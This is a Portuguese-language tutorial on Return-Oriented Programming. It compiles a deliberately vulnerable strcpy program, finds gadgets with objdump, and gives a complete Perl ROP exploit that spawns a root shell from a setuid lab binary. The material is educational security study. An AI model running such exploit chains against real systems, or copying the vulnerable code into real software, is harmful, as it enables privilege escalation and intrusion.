Return-Oriented Programming na unha!

Return-Oriented Programming na unha!

1) Introdução
2) Ambiente
3) Código
4) Payload
5) Exploit
6) Binário
7) Referências

1) Introdução

Return-Oriented Programming é uma técnica de exploração que o atacante controlando a stack, encadeia endereços para instruções seguidas de um return, estes chamados de gadgets[1]. Esta técnica é muito interessante por passar por proteções como Executable space protection(NX, DEP, W^X)[2].

Existem ferramentas para encontrar os gadgets como ROPEME[3] e ROPgadget[4], este último capaz de gerar o payload, mas podemos encontrar os mesmos manualmente, ou seja, procurando pelas próprias instruções no binário.

2) Ambiente

O ambiente de testes aqui foi o ubuntu 11.04, kernel 2.6.38 e gcc 4.5.2.

m0nad@m0nad-notebook:~$ cat /etc/issue.net
Ubuntu 11.04
m0nad@m0nad-notebook:~$ uname -a
Linux m0nad-notebook 2.6.38-13-generic #53-Ubuntu SMP Mon Nov 28 19:23:39 UTC 2011 i686 i686 i386 GNU/Linux
m0nad@m0nad-notebook:~$ gcc --version
gcc (Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

m0nad@m0nad-notebook:~$

As proteções do sistema operacional pode ser encontrada no wiki do ubuntu[5]

Podemos ver que o ASLR está ativo.

m0nad@m0nad-notebook:~$ cat /proc/sys/kernel/randomize_va_space
2
m0nad@m0nad-notebook:~$

3) Código

O código foi um stack-based buffer overflows clássico:

m0nad@m0nad-notebook:~$ cat vuln.c

#include <string.h>
int
main(int argc, char ** argv)
{
 char buffer[256];
 if (argc < 2)
  return 1;
 strcpy(buffer, argv[1]);
 return 0;
}

Compilei sem Smash the Stack Protection(SSP – Propolice)[6], utilizando a opção -fno-stack-protector do gcc, e com a opção -static, assim ele ira compilar com todo o código estatico, possibilitando assim mais gadgets.

m0nad@m0nad-notebook:~$ gcc -o vuln vuln.c -fno-stack-protector -static -Wall -Wextra

Rodamos o checksec.sh[7] para verificar as proteções no binário.

m0nad@m0nad-notebook:~$ bash checksec.sh --file vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH vuln
m0nad@m0nad-notebook:~$

Percebemos que estamos com RELRO parcial, sem SSP, com Non eXecute ativado, sem PIE, sem relative path ou runpath.

4) Payload

A ideia do payload é a mesma de um shellcode normal, colocar a syscall de execve em eax, o endereço da string /bin//sh em ebx, e nesse caso ecx e edx apontando para NULL, utilizando do exemplo do payload que o ROPgadget gera, vamos usar a area de .data para colocar a string, usei o readelf para descobrir o endereço:

m0nad@m0nad-notebook:~$ readelf -S vuln | grep 22
[22] .data PROGBITS 080cf020 086020 000740 00 WA 0 0 32
m0nad@m0nad-notebook:~$

Precisamos então dos gadgets, para isso usei o objdump, com a opção -D para ‘disassemblar’, e o grep, para achar expressões regulares das instruções.

Primeiros gadgets que procurei foi para controlar os registradores, um pop %ecx seguido de ret:

m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'pop\s*%ecx' -A2 | grep ret -B2
 8053ed6: 59 pop %ecx
 8053ed7: 5b pop %ebx
 8053ed8: c3 ret
--
--
 80cae04: 59 pop %ecx
 80cae05: c3 ret
m0nad@m0nad-notebook:~$

Legal, temos um pop %ebx | ret, e um pop %ecx | ret, vamos procurar um pop %edx | ret:

m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'pop\s*%edx' -A2 | grep ret -B2
 8053eac: 5a pop %edx
 8053ead: c3 ret
m0nad@m0nad-notebook:~$

Certo, um pop %eax | ret seria bom:

m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'pop\s*%eax' -A2 | grep ret -B2
 80cc415: 58 pop %eax
 80cc416: 03 0a add (%edx),%ecx
 80cc418: c3 ret
m0nad@m0nad-notebook:~$

Hmm, achamos um, mas ele tem um efeito colateral do add (%edx),%ecx que precede o ret, vamos ver se temos uma maneira de mover de algum registrador para o eax:

m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'mov\s*%e[b-d]x,%eax' -A1 | grep ret -B1
 80770ac: 89 d0 mov %edx,%eax
 80770ae: f3 c3 repz ret
--
 80aa9a7: 89 d0 mov %edx,%eax
 80aa9a9: c3 ret
m0nad@m0nad-notebook:~$

Pronto, podemos usar o mov %edx,%eax | ret para controlar o eax, podemos então colocar o endereço de .data em algum registrador, e mover a string /bin//sh para esta area de memoria, para isso precisamos de mov de algum registrador que controlamos para alguma área de memoria:

m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'mov\s*%e[a-d]x,\(%e[a-d]x\)' -A1 | grep -E 'ret\s+' -B1
 8080391: 89 02 mov %eax,(%edx)
 8080393: c3 ret
m0nad@m0nad-notebook:~$

Temos! precisamos então, de um xor %eax,%eax por exemplo, para colocarmos um null-byte na pilha.

m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'xor\s*%eax,%eax' -A1 | grep ret -B1
 8051be1: 31 c0 xor %eax,%eax
 8051be3: c3 ret
--
 8051c00: 31 c0 xor %eax,%eax
 8051c02: c3 ret
--
 806d2f4: 31 c0 xor %eax,%eax
 806d2f6: c3 ret
--
 8070f9a: 31 c0 xor %eax,%eax
 8070f9c: c3 ret
--
 8071140: 31 c0 xor %eax,%eax
 8071142: c3 ret
--
 809d40f: 31 c0 xor %eax,%eax
 809d411: c3 ret
m0nad@m0nad-notebook:~$

Temos de sobra, bem, agora só precisamos de inc %eax, para colocarmos o valor correto de execve:

m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'inc\s*%eax' -A1 | grep ret -B1
 806d84f: 40 inc %eax
 806d850: c3 ret
--
 80c9dc3: 40 inc %eax
 80c9dc4: c3 ret
--
 80cbd20: 40 inc %eax
 80cbd21: ca fa ff lret $0xfffa
--
 80cefab: ff c0 inc %eax
 80cefad: cf iret
m0nad@m0nad-notebook:~$

Temos alguns, e é claro, precisamos de um int $0×80 para chamar o kernel para executar a nossa syscall:

m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'int\s*\$0x80'
 80487bf: cd 80 int $0x80
 8052f2c: cd 80 int $0x80
 8053fa8: cd 80 int $0x80
 80545f0: cd 80 int $0x80
 8077023: cd 80 int $0x80
 807a5c8: cd 80 int $0x80
 808b355: cd 80 int $0x80
 808b35e: cd 80 int $0x80
m0nad@m0nad-notebook:~$

Pronto, com esses gadgets é possível chamar um execve(“/bin//sh”, NULL, NULL).

5) Exploit

O exploit basta usar os gadgets encontrados, primeiro colocamos a string “/bin” em eax.

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "/bin";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = /bin

Depois jogamos a string para .data.

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#data = /bin

Fazemos o mesmo para colocar “//sh” em .data + 4.

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "//sh";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = //sh
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf024); # @ .data + 4
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh

Usamos o gadget xor %eax,%eax | ret para colocar o null-byte no final da string em .data + 8.

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh\0

Colocamos o endereço de data, ou seja da string /bin//sh em ebx, e ponteiro para NULL que é .data + 8.

$p .= pack("I", 0x08053ed6); # pop %ecx | pop %ebx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
#("/bin//sh", NULL, NULL);

Pronto, basta usar o xor %eax,%eax | ret e inc %eax | ret para colocar o valor da syscall execve (0xb) em eax, e chamar o int $0×80 | ret.

$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0808b35e); # int $0x80
print $p;

Vamos ao exploit completo!

#!/usr/bin/perl

use strict;

my $p = "a" x 268;

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "/bin";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = /bin
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "//sh";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = //sh

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf024); # @ .data + 4
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh\0

$p .= pack("I", 0x08053ed6); # pop %ecx | pop %ebx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
#("/bin//sh", NULL, NULL);

$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0808b35e); # int $0x80
print $p;

Para a exploração vamos colocar em suid root para fins de demonstração:

m0nad@m0nad-notebook:~$ sudo chown root:root vuln
[sudo] password for m0nad:
m0nad@m0nad-notebook:~$ sudo chmod +s vuln

E finalmente a exploitação:

m0nad@m0nad-notebook:~$ ./vuln "$(perl xpl_vuln.pl)"
# id
uid=1000(m0nad) gid=1000(m0nad) euid=0(root) egid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(m0nad)
#

r00t!

6) Binário

O binário e exploit utilizados podem ser encontrado no meu github[8]

7) Referências

[1] http://cseweb.ucsd.edu/~hovav/talks/blackhat08.html
[2] http://en.wikipedia.org/wiki/Executable_space_protection
[3] http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/
[4] http://shell-storm.org/project/ROPgadget/
[5] https://wiki.ubuntu.com/Security/Features
[6] http://en.wikipedia.org/wiki/Stack-smashing_protection
[7] http://www.trapkit.de/tools/checksec.html
[8] https://github.com/m0nad/Papers/tree/master/ropnaunha/bin

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